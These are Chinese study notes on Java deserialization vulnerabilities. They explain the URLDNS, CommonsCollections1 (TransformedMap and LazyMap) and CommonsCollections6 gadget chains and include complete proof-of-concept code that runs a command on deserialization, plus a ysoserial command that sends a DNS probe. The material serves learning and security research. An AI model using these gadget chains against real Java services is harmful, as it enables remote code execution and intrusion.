【学习笔记】Java安全之反序列化

文章目录

• 反序列化方法的对比
• • PHP的反序列化
  • Java的反序列化
  • Python反序列化
• URLDNS链
• • 利用链分析
  • 触发DNS请求
• CommonCollections1利用链
• 利用TransformedMap构造POC
• 利用LazyMap构造POC
• [CommonsCollections6 利用链](#CommonsCollections6 利用链)

最近在学习Phith0n师傅的知识星球的Java安全漫谈系列，随手记下笔记

众所周知，一门成熟的语言，如果需要在网络上传递信息，通常会用到一些格式化数据，比如：

• JSON
• XML

JSON和XML是通用数据交互格式，通常用于不同语言、不同环境下数据的交互，比如前端JavaScript通过JSON和后端服务通信、微信服务通过XML和公众号服务器通信，但这两个数据格式都不支持复杂的数据类型

大多数处理方法种，JSON和XML支持的数据类型就是基本数据类型、整形、浮点型、字符串、布尔等，如果开发者希望在数据传输的时候直接传输一个对象，就需要想办法扩展基础的JSON、XML语法

比如，Jackson和Fastjson这类序列化库，在JSON、XML的基础上进行改造，通过特定的语法来传递对象；亦或者如RMI，直接使用Java等语言内置的序列化方法，将一个对象转换成一串字节流进行传输。无论是Jackson、Fastjson还是编程语言内置的序列化方法，一旦涉及到序列化与反序列化数据，就可能涉及到安全问题。

但首先要理解的是"反序列化漏洞"是对一类漏洞的泛指，并不是专指某种反序列化方法导致的漏洞，比如Jackson反序列化漏洞和Java readObject造成的反序列化漏洞就是完全不同的两种漏洞。

反序列化方法的对比

Java的反序列化和PHP的反序列化有点类似，它们都是将一个对象中的属性按照某种特定的格式生成一段数据流，在反序列化的时候再按照这个格式将属性拿回来，再赋值给新的对象。

但Java相对PHP序列化更深入的地方在于，其提供了更加高级、灵活地方法writeObject，允许开发者将序列化数据流中插入一些自定义数据，进而在反序列化的时候能够使用使用readObject进行提取。

当然，PHP也提供了一个魔术方法__wakeup，在反序列化的时候进行触发。很多人会认为Java的readObject和PHP的__wakeup类似，但其实不全对，虽然都是在反序列化的时候触发，但他们解决的问题稍微有些差异。

Java设计readObject的思路和PHP的__wakeup不同点在于：readObject倾向于解决反序列化时如何还原一个完整的对象 ，而PHP的__wakeup更倾向于解决反序列化后如何初始化这个对象

PHP的反序列化

关于PHP反序列化可以看我的这篇文章：由浅入深理解PHP反序列化漏洞

PHP的序列化是开发者不能参与的，开发者调用serialize函数后，序列化的数据就已经完成了，得到的是一个完整的对象，并不能在序列化数据流里新增某一个内容，如果想插入新的内容，只有将其保存在一个属性中，也就是说PHP的序列化，、反序列化是一个纯内部的过程，而其__sleep、__wakeup魔术方法的目的就是在序列化、反序列化的前后执行一些操作。

含有资源类型的PHP类，如数据库连接，在PHP中资源类型的对象默认是不会写入序列化数据中的，__wakeup的作用是在反序列化后执行一些初始化操作，但是其实我们很少利用序列化数据传递资源类型的对象，而其他类型的对象，在反序列化的时候就已经赋予其值了。

所以你会发现，PHP的反序列化漏洞，很少是由__wakeup这个方法出发的，通常触发在析构函数__destruct中，大部分的PHP反序列化漏洞，都并不是由反序列化导致的，只是通过反序列化可以控制对象的属性，进而在后续的代码中进行危险操作。

Java的反序列化

Java反序列化的操作，很多是需要开发者深入参与的，大量的库都会实现readObject、writeObject方法，这和PHP中的__wakeup、__sleep很少使用是存在鲜明对比的。

Java在序列化一个对象时，将会调用这个对象中的个writeObject方法，参数类型是ObjectOutputStream，开发者可以将任何内容写入这个流当中，反序列化时会调用readObject，开发者也可以从中读取前面写入的内容，并进行处理。举个例子

package StudyUnserialiation;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class Person implements java.io.Serializable {
    public String name;
    public int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    private void writeObject(ObjectOutputStream s) throws Exception {
        s.defaultWriteObject();
        s.writeObject("This is Object");
    }

    private void readObject(ObjectInputStream s) throws Exception {
        s.defaultReadObject();
        s.readObject();
        String message = (String) s.readObject();
        System.out.println(message);
    }

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

然后序列化这个类即可

package StudyUnserialiation;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Test {
    public static void main(String[] args) throws IOException {
        Person p = new Person("mochu7", 22);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C:\\Users\\Administrator\\Downloads\\serialize_data"));
        oos.writeObject(p);
    }
}

将这段序列化数据提取出来编码成十六进制字符串，然后用SerializationDumper查看序列化数据

PS D:\Tools\Web\Other> python
Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 22:45:29) [MSC v.1916 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>> with open('C:\\Users\Administrator\Downloads\serialize_data', 'rb') as f:
...      print(bytes.hex(f.read()))
...
aced00057372001a5374756479556e73657269616c696174696f6e2e506572736f6ee41761c0bf3f16c20300024900036167654c00046e616d657400124c6a6176612f6c616e672f537472696e673b7870000000167400066d6f6368753774000e54686973206973204f626a65637478

This is Object这串字符写入了objectAnnotation

package StudyUnserialiation;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Test1 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("C:\\Users\\Administrator\\Downloads\\serialize_data"));
        Person person = (Person) ois.readObject();
        System.out.println(person);
    }
}

反序列化时会读取这串字符，并输出

这个特性就使得Java的开发变得非常灵活，比如后面将会讲到的HashMap，其实就是将Map中的所有键、值存储在objectAnnotation中，而并不是某个具体属性里。

package StudyUnserialiation;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;

public class HashMapSerialize {
    public static void main(String[] args) {
        HashMap<String, Integer> map = new HashMap<>();
        map.put("iPhone14 ProMax", 8849);
        map.put("Huawei Mate50Pro", 5969);
        map.put("xiaomi13", 4299);
        try {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C:\\Users\\Administrator\\Downloads\\serialize_data1"));
            oos.writeObject(map);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

Python反序列化

Python反序列化和Java、PHP有个显著的区别，就是Python的反序列化过程实际上是在执行一个基于栈的虚拟机，我们可以向栈上增删对象，也可以执行一些指令，比如函数的执行，甚至可以用这个虚拟机执行一个完整的应用程序。

所以，Python的反序列化可以立即导致任意函数、命令执行漏洞，与需要gadget的PHP和Java相比更加危险。

从危害上看，Python的反序列化危害是最大的，从应用广度上来看，Java的反序列化是最常被用到的，从反序列化的原理上看，PHP和Java是类似又不尽相同的。

URLDNS链

URLDNS是ysoserial 中一个利用链的名字，但准确的来说，这个其实不能称作利用链 。称为触发链可能更准确一点，因为其参数不是一个可以"利用"的命令，而仅为一个URL，其能触发的结果也不是命令执行，而是一次DNS请求。

虽然这个"利用链"实际上是不能"利用"的，但因为其如下的优点，非常适合我们在检测反序列化漏洞时使用：

• 使用Java内置的类构造，对第三方库没有依赖
• 在目标没有回显的时候，能够通过DNS请求得知是否存在反序列化漏洞

URLDNS链在ysoserial 中的源码：https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

SilentURLStreamHandler是ysoserial自定义的一个继承于URLStreamHandler子类，其中重写了openConnection、getHostAddress方法，将它们的返回置空，避免在payload创建期间进行DNS解析。首先是实例化的SilentURLStreamHandler生成handler，其次用handler与url生成一个URL对象，然后使用HashMap将URL对象以及url放入其中。ysoserial 会通过调用getObject方法获得Payload，该Payload也就是Hashmap被序列化后的对象。

利用链分析

触发反序列化的方法是HashMap的readObject，那么我们就先从HashMap类的readObject方法开始分析：

HashMap类readObject方法源码（jdk1.8.0_341）:

根据ysoserial中的注释解释：

During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.，是HashCode方法中的计算操作触发了DNS请求。

在readObject()方法中putVal()将传入的键名传给了hash()

hash方法调用了key的hashCode()

传入的key是java.net.URL对象，查看java.net.URL类的源码，找到hashCode()方法，handler是URLStreamHandler对象，这里判断了hashCode是否!=-1，

如果(hashCode != -1) == true就不会调用handler.hashCode()，这也就是URLDNS中要使用反射修改Java.net.URL的hashCode属性的原因：Reflections.setFieldValue(u, "hashCode", -1);，如果这里不使用反射修改该类的属性，这一步就无法到handler.hashCode()，继续跟进这里handler的hashCode()方法。这里有调用getHostAddress()。

继续跟进getHostAddress(u)

再跟进

其中的InetAddress.getByName(host);就是对传入的主机名解析IP，如果传入的是公网域名就会访问进行DNS请求解析IP。因此URLDNS利用链可以造成一次DNS请求。使用ysoserial 生成URLDNS利用链的对象(Payload)，然后反序列化触发该利用链造成一次DNS请求解析。

URLDNS利用链的完整Gadget：HashMap->readObject()->hash()->URL.hashCode()->URLStreamHandler.hashCode()->getHostAddress()->InetAddress.getByName()

构造该Gadget，需要初始化一个java.net.URL对象，将其作为key存入HashMap的键名中，然后使用反射修改这个URL类对象的hashCode()的值为-1，使其在反序列化时会重新计算hashCode()，进而触发之后的DNS请求，而在初始化java.net.URL对象时，为了防止生成该对象时也执行URL请求和DNS解析，所以重写了一个子类(SilentURLStreamHandler)，但这并不是必须的，只是为了防止影响Dnslog平台查验。

触发DNS请求

接下来首先使用ysoserial生成payload，DNS测试平台就是用常用的DNSlog

注意：Windows平台下请使用cmd来运行，PS运行导出的序列化字节流数据格式有误

java -jar ysoserial-all.jar URLDNS "http://ps4nzt.dnslog.cn" > urldns_payload

然后反序列化调用readObject()触发即可

执行完之后Dnslog平台就可以查看到DNS请求

CommonCollections1利用链

Commons-Collections是Apache基金会开发的一个Java开源库，提供了一组高效的数据结构和算法实现，扩展了Java的集合框架，使得用户更方便地处理集合数据，该库还包含了大量的类和接口，而Common-Collections利用链是Java反序列化漏洞研究中必不可少的一环。

首先来看个CC1链的小Demo

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("name", "mochu7");
    }
}

• TransformedMap类：

  TransformedMap是Commons Collections中的一个类，它实现了java.util.Map接口，并允许用户指定一个转换函数来对Map中的元素进行转换。具体来说，TransformedMap会将所有读取操作（例如get、containsKey等）传递给基础Map对象，但在写入操作（例如put、remove等）时，会先将键值对应用于指定的转换函数，然后再执行写入操作。

  这个转换函数是任何实现了org.apache.commons.collections4.Transformer接口的类，因此就使得TransformedMap非常灵活，可以方便地对Map中的元素进行转换。同时需要注意，由于TransformedMap仅仅是一个包装器类，所以它对基础Map对象的修改也会影响到原始的Map对象。

• Transformer:
  Transformer只是一个接口，它只有待实现的transform方法，参数就是Object对象。

public interface Transformer {
    Object transform(Object var1);
}

• ConstantTransformer:
  ConstantTransformer是实现了Transformer接口的一个类，在构造器接收一个对象然后在transform方法返回这个对象，进行一个包装任意对象的处理。

• InvokerTransformer:
  InvokerTransformer也是实现了Transformer接口的一个类，有参构造器第一个参数是执行的方法名，第二个参数是参数列表的类型，第三个参数是参数列表，然后回调transform方法，使用反射执行了input对象的iMethodName方法。

Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);

• ChainedTransformer:
  ChainedTransformer也是实现了Transformer接口的类，它将内部的所有Transformer连接在一起进行遍历，将上一个回调返回的结果作为下一个回调的参数传入。

public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }
    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }
        return object;
  }

通过以上几个类的分析，即可理解该Demo的原理，首先新建了个Transformer数组，用于存放两个Transformer，第一个是ConstantTransformer，这会直接返回传入的Runtime对象；第二个是InvokerTransformer，反射执行Runtime对象的exec方法，参数是calc。再将这个Transformer数组传给ChainedTransformer，通过回调会将Runtime的对象传给InvokerTransformer，执行Runtime对象的exec方法。

但是这个transfomerChain只是回调，要触发需要使用TransformedMap.decorate来包装，然后使用put或remove来触发。

利用TransformedMap构造POC

上文探讨了Commons-Collections的Transformer，并且使用了一个Demo作为例子，在Demo中是以outerMap.put("name", "mochu7")来触发漏洞，但是在反序列化时是需要一个类。该类在反序列化时readObject方法有类似的写入处理，就是sun.reflect.annotation.AnnotationInvocationHandler类，核心源码(jdk<=8u66)：

private void readObject(java.io.ObjectInputStream s){
        ...
   Map<String, Class<?>> memberTypes = annotationType.memberTypes();
      for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
          String name = memberValue.getKey();
          Class<?> memberType = memberTypes.get(name);
          if (memberType != null) {
              Object value = memberValue.getValue();
              if (!(memberType.isInstance(value) ||
                 value instanceof ExceptionProxy)) {
                  memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                         annotationType.members().get(name)));}}}}

memberValues就是经过了TransformedMap修饰的对象，也是反序列化之后的Map，然后遍历，依次设置值调用setValue时会触发TransformedMap中的Transform，进而进入到上文提到的利用链导致命令执行。因此构造POC时需要创建一个AnnotationInvocationHandler对象，然后将上文的利用链中的HashMap传入，并且这个AnnotationInvovationHandler是内置类，不能直接使用常规方法获取对象，因此这里使用反射获取构造方法，然后强制访问再调用实例化。

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = c.getDeclaredConstructor(Class.class, Map.class);
Construct.setAccessible(true);
Object obj = construct.newInstance(Retention.clas, outerMap);

然后将整个过程梳理，形成一个完整的链子，尝试执行，输出了以下报错

报的是不可序列化的错误，而这里序列化的是ConstantTransformer中的Runtime.getRuntime()对象，而Runtime是没有实现java.io.Serializeable接口的，因此无法序列化。在前面的反射篇章中，有介绍可以通过反射直接获取对象，而不需要直接使用这个类。

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc");

使用这种方法反射的好处就是将原来没有实现序列化接口的Java.lang.Runtime类，换成了Java.lang.Class对象，而Java.lang.Class类对象是实现了Serializable接口的，因此可以序列化。但是更换Transformer调用Runtime的方法之后还是无法执行命令。

查看AnnotationInvocationHandler类的反编译代码，在readObject()方法下，如果要进入setValue()触发构造的Transfomers，有一个if(var7!=null)的判断，在这里下个断点动态调式，查看运行后var7的值是否为null

回到AnnotationInvocationHandler的有参构造方法

可以看到要使得var1、var2的值不为null，AnnotationInvocationHandler的第一个参数必须是Annotation类型，并且需要有一个方法,如果这个方法名为X，那么被TransformedMap.decorate修饰的Map的键名也必须为X才能触发，正是因为如此，上文使用反射获取AnnotationInvocationHandler获取有参构造器，生成对象时传入的第一个参数是Retention.class，因为Retention中有一个value方法，因此修改innerMap.put("value", "mochu7");的键名也为value

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",  new Class[]{String.class}, new String[]{"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "mochu7");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object obj = construct.newInstance(Retention.class, outerMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

注意：该方法只针对Jdk<=8u66的版本有效，8u71开始，Java官方修改了sun.reflect.annotation.AnnotationInvocationHandler的readObject方法，不再继续使用反序列化得到的Map对象，而是新建了一个LinkedHashMap对象，并将原来的键值添加进去。因此，后续对Map的操作全都是基于这个新的LinkedHashMap对象，不需要再使用构造的Ma执行set、put处理，因此也就不会触发RCE了。

利用LazyMap构造POC

LazyMap和TransformedMap类似，都来自于Apache Commons Collections库，LazyMap是一个需要时动态生成值的映射表。它通过延迟来加载提高性能，只有在首次访问时才会计算和存储值。LazyMap通常适用于处理大量数据的情况，可以节省计算资源。TransformedMap是在写入元素的时候执行构造好的transforms，而LazyMap是在它的get方法中执行factory.transform，当寻找不到key值时会调用factory.transform获取一个值。

LazyMap利用比TransformedMap的利用过程稍微复杂一点，TransformedMap是在AnntationInvocationHandler的readObject方法中就有setValue会触发到构造好的transforms，而readObject中并没有调用到Map的get方法。但是AnnotationInvocationHandler类的invoke方法有调用到get方法

那么下一步就是想办法调用到AnnotationInvocationHandler下的invoke方法，想要劫持对象内部的方法调用，最合适不过的是使用Java的动态代理中的对象代理。

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

第一个参数是ClassLoader，使用默认的即可；第二个参数是代理的对象集合；第三个参数是实现了InvocationHandler接口的对象，是代理对象的核心处理程序。

编写一个ExampleInvocationHandler类，重写invoke方法，它的作用是当检测到该对象调用了get方法，就返回一串字符。

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;

public class ExampleInvocationHandler implements InvocationHandler {
    protected Map map;

    public ExampleInvocationHandler(Map map) {this.map = map;}

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        if(method.getName().compareTo("get") == 0) {
            System.out.println("Hook Method: " + method.getName());
            return "Hacked Object";
        }
        return method.invoke(this.map, args);
    }
}

然后在外部调用ExampleInvocationHandler，存入一组数据，然后get获取

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) {
        InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        proxyMap.put("name", "mochu7");
        String result = (String) proxyMap.get("name");
        System.out.println(result);
    }
}

而如果对sun.reflect.annotation.AnnotationInvocationHandler类的对象用Proxy代理，在readObject时，只要调用任何一个方法，就会触发进入到AnnotationInvocationHandler的invoke方法，最后触发LazyMap的get方法。

因此，LazyMap的利用链的构造过程就产生了，在原有的TransformedMap的POC的基础进行修改，首先将原来的TransformedMap替换为LazyMap，然后对sun.reflect.annotation.AnnotationInvocationHandler类的对象进行代理。

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

代理之后还不能直接序列化，因为利用链的入口点在sun.reflect.annotation.AnnotationInvocationHandler的readObject()，因此还需要使用AnnotationInvocationHandler对proxyMap进行处理。

handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

最终构造如下：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",  new Class[]{String.class}, new String[]{"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
        
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

CommonsCollections6 利用链

上文详细分析了LazyMap的利用链并构造了POC，但是LazyMap的利用链仍然无法解决CommonCollections1的利用链在高版本的Java(jdk>=8u71)中无法使用的问题。CommonsCollections6在jdk7、8的高版本中的利用链是比较通用的利用链。

以下是这条链的利用过程：

java.io.ObjectInputStream.readObject() -> java.util.HashMap.readObject() -> 
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() -> 
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() -> 
org.apache.commons.collections.map.LazyMap.get() -> 
org.apache.commmons.collections.functors.ChainedTransformer.transform() -> 
org.apache.commons.collections.functors.InvokerTransformer.transform() -> 
java.lang.reflect.Method.invoke() -> java.lang.Runtime.exec()

从LazyMap.get()到Runtime.exec()上文已经详细分析过了，因此要解决在Java高版本中的利用问题，就需要寻找还有哪些地方调用了LazyMap.get()这个方法，可以看到org.apache.commons.collections.keyvalue.TiedMapEntry中的getValue()调用了this.map.get()，并且在hashCode()中调用了getValue()

继续追踪哪里调用了TiedMapEntry.hashCode()，也就是追踪哪里调用了HashMap.hash()，在HashMap.readObject()中可以看到调用了hash(key)

而在hash()方法中调用了key.hashCode()，因此只需要将TiedMapEntry对象赋值给这里的key，既可组成一个完整的Gadget。构造LazyMap，包装transformerChain成outerMap，然后将其作为TiedMapEntry的map属性。

Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "MyKey");

这里为了避免本地调试触发命令执行，构造LazyMap使用的是一个普通的Transformers对象，必要时需要Payload再把真正的Transformers放进去。接下来为了调用TiedMapEntry.hashCode()，将tiedMapEntry对象作为HashMap的key存入一个新的HashMap。最后，将这个新的HashMap对象序列化即可，在此之前需要通过反射，将真正的Transformers数组对象。

Map myMap = new HashMap();
myMap.put(tiedMapEntry, "MyValue");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(tramformerChain, transformers);

运行之后并没有执行命令，单步调试查看问题，发现问题在LazyMap.get()方法中

有个if会判断Map中是否有key，如果否才进入到触发Transformers数组对象的步骤，在创建TiedMapEntry时，放入了一个MyKey，但是TiedMapEntry并不会修改outerMap，关键问题就出在myMap.put(tiedMapEntry, "MyValue")，HashMap.put()方法中也有hash(key)的操作。导致LazyMap的利用链提前被调用了一次，所以需要对outerMap的key值进行remove处理：outerMap.remove("MyKey")

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

public class CommonsCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {
          new ConstantTransformer(1)
        };

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",  new Class[]{String.class}, new String[]{"calc"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "MyKey");
        Map myMap = new HashMap();
        myMap.put(tiedMapEntry, "MyValue");
        outerMap.remove("MyKey");

        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(myMap);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

这个利用链可以在Java7和8高版本触发，没有版本限制